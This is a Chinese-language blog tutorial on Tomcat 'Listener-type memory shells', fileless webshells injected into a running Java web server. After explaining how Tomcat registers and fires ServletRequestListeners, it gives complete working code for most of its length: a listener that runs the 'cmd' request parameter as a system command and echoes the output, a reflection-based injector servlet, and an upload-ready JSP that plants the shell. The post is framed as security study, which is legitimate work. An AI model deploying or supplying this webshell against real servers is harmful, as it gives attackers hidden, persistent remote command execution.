内存马系列--Listener型
参考文章:
内存马可以实现落地无文件,有很强的隐蔽性,但是攻击方式比较局限,只能文件上传。相较于反序列化的话,反序列化的危害性要强的多的多。
我的理解:内存马依赖于漏洞点,首先得有漏洞点(不只限于反序列化漏洞。只要一个漏洞能让你在服务器上执行 Java 代码(RCE),你就可以注入内存马),然后通过漏洞点将🐎打进去,这样的话会更加隐蔽。就拿反序列化来说,有这类的漏洞exp往往包含着大量的类名,特征比较明显,容易被防火墙防护;反序列化发送payloade过去是到达服务器,客户端看不到回显;官方修复的时候稍微改改逻辑或者限制一下类名,链子可能就不能用了。
话不多说,我们现在开始学习Listener型内存马。之前在前文基础内容里面已经提过了 Tomcat 的一些架构知识,这里的话就不再赘述,简单写一下 Listener 的基础知识。
Listener 基础知识
Java Web 开发中的Listener(监听器) 是一个实现了特定接口的 Java 程序,它用于监听 Web 应用内部的对象(如 ServletContext、HttpSession、ServletRequest)的创建、销毁或属性修改等动作。
当这些事件发生时,Web 容器(如 Tomcat)会自动调用监听器中对应的方法,从而实现某种功能,比如统计在线人数、初始化资源或记录访问日志。
用途:
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Listener 三个域对象:
- ServletContextListener(应用启动与销毁时)
- HttpSessionListener(Session 创建与销毁时)
- ServletRequestListener(每次请求进入和结束时)
很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。
Listener 基础代码实现
和之前 Filter 型内存马的原理其实是一样的,之前我们说到 Filter 内存马需要定义一个实现 Filter 接口的类,Listener 也是一样,我们直接在之前创建好的 Servlet 项目里面进行操作
要求 Listener 的业务对象要实现 EventListener 这个接口
我们可以先去看一下 EventListener 这个接口

它有非常多的实现类,如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener(我们去寻找的时候一定是优先找 Servlet 开头的类)
这里找到了 ServletRequestListener ,因为根据名字以及其中的 requestInitialized() 方法感觉我们的发送的每个请求都会触发这个监控器。

这里我们尝试自己写一个 Listener,并进行测试。
因为前面猜想 requestInitialized() 方法可以触发 Listener 监控器,所以我们在 requestInitialized() 方法里面加上一些代码,来证明它何时被执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;
@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
public ListenerTest(){
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}
改一下web.xml
1
2
3
<listener>
<listener-class>Listener.ListenerTest</listener-class>
</listener>
至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程
Listener 流程分析
主要解决两个问题:
- 我们的恶意代码应该在哪儿编写?
- Tomcat 中的 Listener 是如何实现注册的?
访问Listener 前
先读取 web.xml
在启动应用的时候,
ContextConfig类会去读取配置文件,所以我们去到ContextConfig这个类里面找一下哪个方法是来读取配置文件的。就找到了configureContext()方法(这个方法会调用了 web.xml,把 web.xml 作为参数传进去,然后进行调用的)
作用:它的任务是将已经读取并解析好的
web.xml文件内容(封装在WebXml对象中),正式填充(配置)到 Tomcat 的运行时上下文StandardContext(即代码中的context对象)里。是 Tomcat 启动时,将“静态配置”转化为“内存中运行组件”的关键过程。
还将web.xml里面的组件(filter,listener)配到了里面
这里我们最关注的当然是
listener
可以在这块打个断点标记一下
我们接下来再看读取listerner提及的
addApplicationListener()
进去之后发现是一个接口中的方法,我们去找它的实现方法

进去第一个
FailedContext类里面的addApplicationListener()是没东西的,所以东西在StandContext里面。
开始调试:
第一步,直接获取到 web.xml

我们看到 webxml 里面的 listener 已经有了对应的 Listener 文件,继续往下走。
下一步应该是走到
addApplicationListener()这里
读取完配置文件,加载 Listener
当我们读取完配置文件,当应用启动的时候,
StandardContext会去调用listenerStart()方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。
标记的那一句
1
String listeners[] = findApplicationListeners();简单说,就是把
之前的 Listener存到这里面
Listener 运行过程
先下在
requestInitialized()方法这里的能看到调用链(代码是“自下而上”执行的)
能看到
fireRequestInitEvent是在StandardContext的方法(StandardContext里面有触发点)说白了就是要看
fireRequestInitEvent断在
fireRequestInitEvent里面先进到
getApplicationEventListeners()方法里面
其实就是在获取一个 Listener 数组
看一下
applicationEventListenersList是什么,其实Listener 实际上是存储在applicationEventListenersList属性中的。
而且我们可以通过
StandardContext#addApplicationEventListener()方法来添加 Listener
接下来的逻辑就和
Filter差不多了,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的requestInitialized()方法去。
小结
在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载(listenerStart());加载完毕之后会进行逐个读取,对每一个 Listener,都会到 requestInitialized() 方法进去。
Listner 型内存马 EXP 编写
EXP分析
先来梳理一下流程
- 恶意代码肯定是写在对应 Listener 的
requestInitialized()方法里面 - 要通过 StandardContext 类的
addApplicationEventListener()方法把恶意的 Listener 放进去 - 其他就是和filter类似的,把 Listener 先放到整个 Servlet 最前面去就好
反射StandardContext ;接下来放恶意的 Listener,恶意代码逻辑编写写在 requestInitialized触发;

EXP编写
编写恶意的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); }获取 StandardContext 的代码,并且添加 Listener
(这个地方反射StandardContext 可不能用前面filter那一套了,需要的东西不一样)
在
StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取(这一步还是挺省事滴)
1
2
3
4
5
6<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>编写一个恶意的Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) { } } %>最后添加监听器
1
2
3
4<% Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
最终 EXP
内存马
ListenerInjector(链条逻辑实现)
反射获取 StandardContext,实例化恶意 Listener,接下来直接调用 standardContext.addApplicationEventListener(shell),添加恶意的Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package Listener;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
@WebServlet("/injectListener")
public class ListenerInjector extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
// 1. 反射获取 StandardContext (逻辑和你 Filter 那个一致)
ServletContext servletContext = request.getServletContext();
Field appctxField = servletContext.getClass().getDeclaredField("context");
appctxField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctxField.get(servletContext);
Field stdctxField = applicationContext.getClass().getDeclaredField("context");
stdctxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);
// 2. 检查是否已经注入过,避免重复注入导致内存炸掉
Object[] listeners = standardContext.getApplicationEventListeners();
boolean isInjected = false;
for (Object l : listeners) {
if (l.getClass().getName().contains("ListenerShell")) {
isInjected = true;
break;
}
}
if (!isInjected) {
// 3. 实例化你的恶意 Listener
// 注意:这里建议用你之前写的那个带 RCE 逻辑的 ListenerShell
ListenerShell shell = new ListenerShell();
// 4. 调用 Tomcat 的 API 强行插入
standardContext.addApplicationEventListener(shell);
response.getWriter().write("Successfully Injected Listener Shell!");
} else {
response.getWriter().write("Listener Shell already exists.");
}
} catch (Exception e) {
e.printStackTrace();
response.getWriter().write("Injection Failed: " + e.getMessage());
}
}
}ListenerShell(恶意代码填装)
写入cmd判别攻击的逻辑+回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
@WebListener
public class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();
String cmd = req.getParameter("cmd");
// 1. 增加非空判断,防止干扰正常请求
if (cmd != null && !cmd.isEmpty()) {
try {
// 2. 获取 Response
HttpServletResponse resp = this.getResponseFromRequest(req);
if (resp != null) {
String result = this.CommandExec(cmd);
// 3. 解决回显内容乱码或缺失
resp.getWriter().println(result);
resp.getWriter().flush();
// 4. 这里的控制台输出可以确认是否触发成功
System.out.println("Success! Executed: " + cmd);
}
} catch (Exception e) {
e.printStackTrace(); // 实验阶段一定要打印报错!
}
}
}
public String CommandExec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
InputStream stderr = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(stderr);
BufferedReader br = new BufferedReader(isr);
String line = null;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
}
return sb.toString();
}
public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
try {
// 1. 从 RequestFacade 拿到 org.apache.catalina.connector.Request
Field reqField = var1.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object connectorRequest = reqField.get(var1);
// 2. 从 connector.Request 拿到 connector.Response
Field respField = connectorRequest.getClass().getDeclaredField("response");
respField.setAccessible(true);
Object connectorResponse = respField.get(connectorRequest);
// 3. 返回真正的 HttpServletResponse 接口对象
return (HttpServletResponse) connectorResponse.getClass().getMethod("getResponse").invoke(connectorResponse);
} catch (Exception e) {
// 如果失败,尝试最暴力的方式:从线程上下文拿(进阶技巧)
return null;
}
}
}
文件上传
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//获取当前应用已有的 Listener 列表。
//转成 ArrayList 并新增一个 ListenerMemShell 对象
//调用 setApplicationEventListeners() 覆盖原来的监听器数组,把内存马 Listener 注入进去了
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>

小结
Listener 型内存马比 Filter 型内存马的实现更为简易的多,从难度上来说,可以把 Listener 型内存马需要实现的步骤看成是 Filter 型内存马的一部分。